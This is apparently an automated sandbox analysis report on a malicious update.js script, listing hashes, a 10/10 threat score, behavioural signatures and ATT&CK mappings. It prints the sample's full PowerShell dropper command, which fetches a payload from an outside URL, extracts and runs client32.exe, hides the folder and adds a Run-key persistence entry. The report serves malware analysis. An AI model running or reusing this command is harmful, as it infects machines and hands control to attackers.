2218ec62fc556c7b06749ad5066a504264ef7d8349aac4d0c08443d380545ca3

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 13:24

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General

Target

update.js
Size

93KB
MD5

45e82c537987a2e09e296c7587ae6ca8
SHA1

2f5c6ef11b5c6afca0939b3390c692b82ac1653f
SHA256

2218ec62fc556c7b06749ad5066a504264ef7d8349aac4d0c08443d380545ca3
SHA512

d96e70b3ab173b43718117c76d5c87c8eab3b2321fb2a5cf88a50bd45d7225021e81da472c7c8df71851230eebde6193661125493f3c949075835a3c29e8ae95
SSDEEP

1536:dfKBCFcJag2MfKBCFcJag2MfKBCFcJag2YfKBCFcJag2mfKfKBCFcJag2x:dfK42Yg9fK42Yg9fK42YgTfK42YgifKk

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://boxtechcompany.com/1/GetData.php?6391

exe.dropper

https://boxtechcompany.com/1/GetData.php?6391

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2848	powershell.exe
6	2848	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 2848	2232	wscript.exe	28
PID 2232 wrote to memory of 2848	2232	wscript.exe	28
PID 2232 wrote to memory of 2848	2232	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OsDVkrlGkES='https://boxtechcompany.com/1/GetData.php?6391';$xcVxNiULYzKMaIlYLqVorQ=(New-Object System.Net.WebClient).DownloadString($OsDVkrlGkES);$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ=[System.Convert]::FromBase64String($xcVxNiULYzKMaIlYLqVorQ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $IyrierWsCFMAdjhPJnDxD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $IyrierWsCFMAdjhPJnDxD -PathType Container)) { New-Item -Path $IyrierWsCFMAdjhPJnDxD -ItemType Directory };$p=Join-Path $IyrierWsCFMAdjhPJnDxD 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$IyrierWsCFMAdjhPJnDxD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $IyrierWsCFMAdjhPJnDxD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $IyrierWsCFMAdjhPJnDxD -Force; $FSDFSSD.attributes='Hidden';$s=$IyrierWsCFMAdjhPJnDxD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2848-4-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2848-5-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2848-6-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-7-0x0000000001ED0000-0x0000000001F50000-memory.dmp

Filesize
512KB

Download
memory/2848-8-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-9-0x0000000001ED0000-0x0000000001F50000-memory.dmp

Filesize
512KB

Download
memory/2848-11-0x0000000001ED0000-0x0000000001F50000-memory.dmp

Filesize
512KB

Download
memory/2848-10-0x0000000001ED0000-0x0000000001F50000-memory.dmp

Filesize
512KB

Download
memory/2848-12-0x0000000001ED0000-0x0000000001F50000-memory.dmp

Filesize
512KB

Download
memory/2848-13-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download